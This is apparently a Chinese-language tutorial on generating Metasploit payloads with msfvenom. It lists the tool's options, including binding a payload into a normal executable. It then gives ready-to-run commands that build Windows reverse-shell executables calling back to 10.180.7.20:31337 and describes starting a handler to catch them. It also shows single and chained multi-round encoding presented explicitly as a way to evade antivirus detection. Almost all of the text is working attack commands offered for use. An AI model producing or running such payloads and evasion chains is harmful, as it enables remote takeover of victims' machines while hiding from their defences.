MSF攻击载荷的生成
1、查看帮助
-l, --list <type> 列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all
-p, --payload <payload> 指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数) 如果需要使用自定义的payload,请使用'-'或者stdin指定
--list-options 列出指定payload的标准,高级和规避选项 例如:msfvenom -p generic/shell_bind_tcp --list-options 将列出shell_bind_tcp这个payload的各种选项信息
-f, --format <format> 指定输出格式(使用 --list formats 列出所有的格式)
-e, --encoding <encoder> 要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密
--smallest 使用所有可用的编码器生成尽可能小的有效负载
-a, --arch <arch> 指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)
--platform <platform> 指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)
-o, --out <path> 将payload保存到文件中
-b, --bad-chars <list> 指定不使用的字符集 例如:不使用'\x00\xff'这两个字符
-n, --nopsled <length> 在payload上添加指定长度的nop指令
-s, --space <length> 设定payload的最大长度 即生成的文件大小
--encoder-space <length> 设定编码payload的最大长度(默认为-s的值)
-i, --iterations <count> 对payload进行编码的次数
-c, --add-code <path> 指定一个自己的win32 shellcode文件
-x, --template <path> 指定一个可执行程序 将payload捆绑其中
例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面
-k, --keep 针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用
-v, --var-name <value> 指定用于某些输出格式的自定义变量名称
-t, --timeout <second> 从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)
-h, --help 查看帮助
2、查看该模块的可用参数
msfvenom -p windows/shell_reverse_tcp --list-options
3、生成攻击载荷
msfvenom -p windows/shell_reverse_tcp LHOST=10.180.7.20 LPORT=31337 -f exe -o payload1.exe
其中:
-f 表示输出格式
-o 表示保存payload为一个文件
4、接下来在MSF终端启动一个监听器
载入multi/handler模块
设置攻击载荷为windows反弹shell,用来匹配我们先前创建的可执行文件,并指定模块监听的IP地址,以及监听端口
5、通过MSF编码器躲避杀毒软件的检测
msfvenom --list encoders
显示当前框架中支持的编码器种类
6、在生成攻击载荷时加入编码器
msfvenom -p windows/shell_reverse_tcp LHOST=10.180.7.20 LPORT=31337 -e x64/xor -f exe -o payload2.exe
通过-e选项,加入编码器
7、多重编码
msfvenom -p windows/shell_reverse_tcp LHOST=10.180.7.20 LPORT=31337 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a -x86 --platform windows -i 10 -f exe -o payload3.exe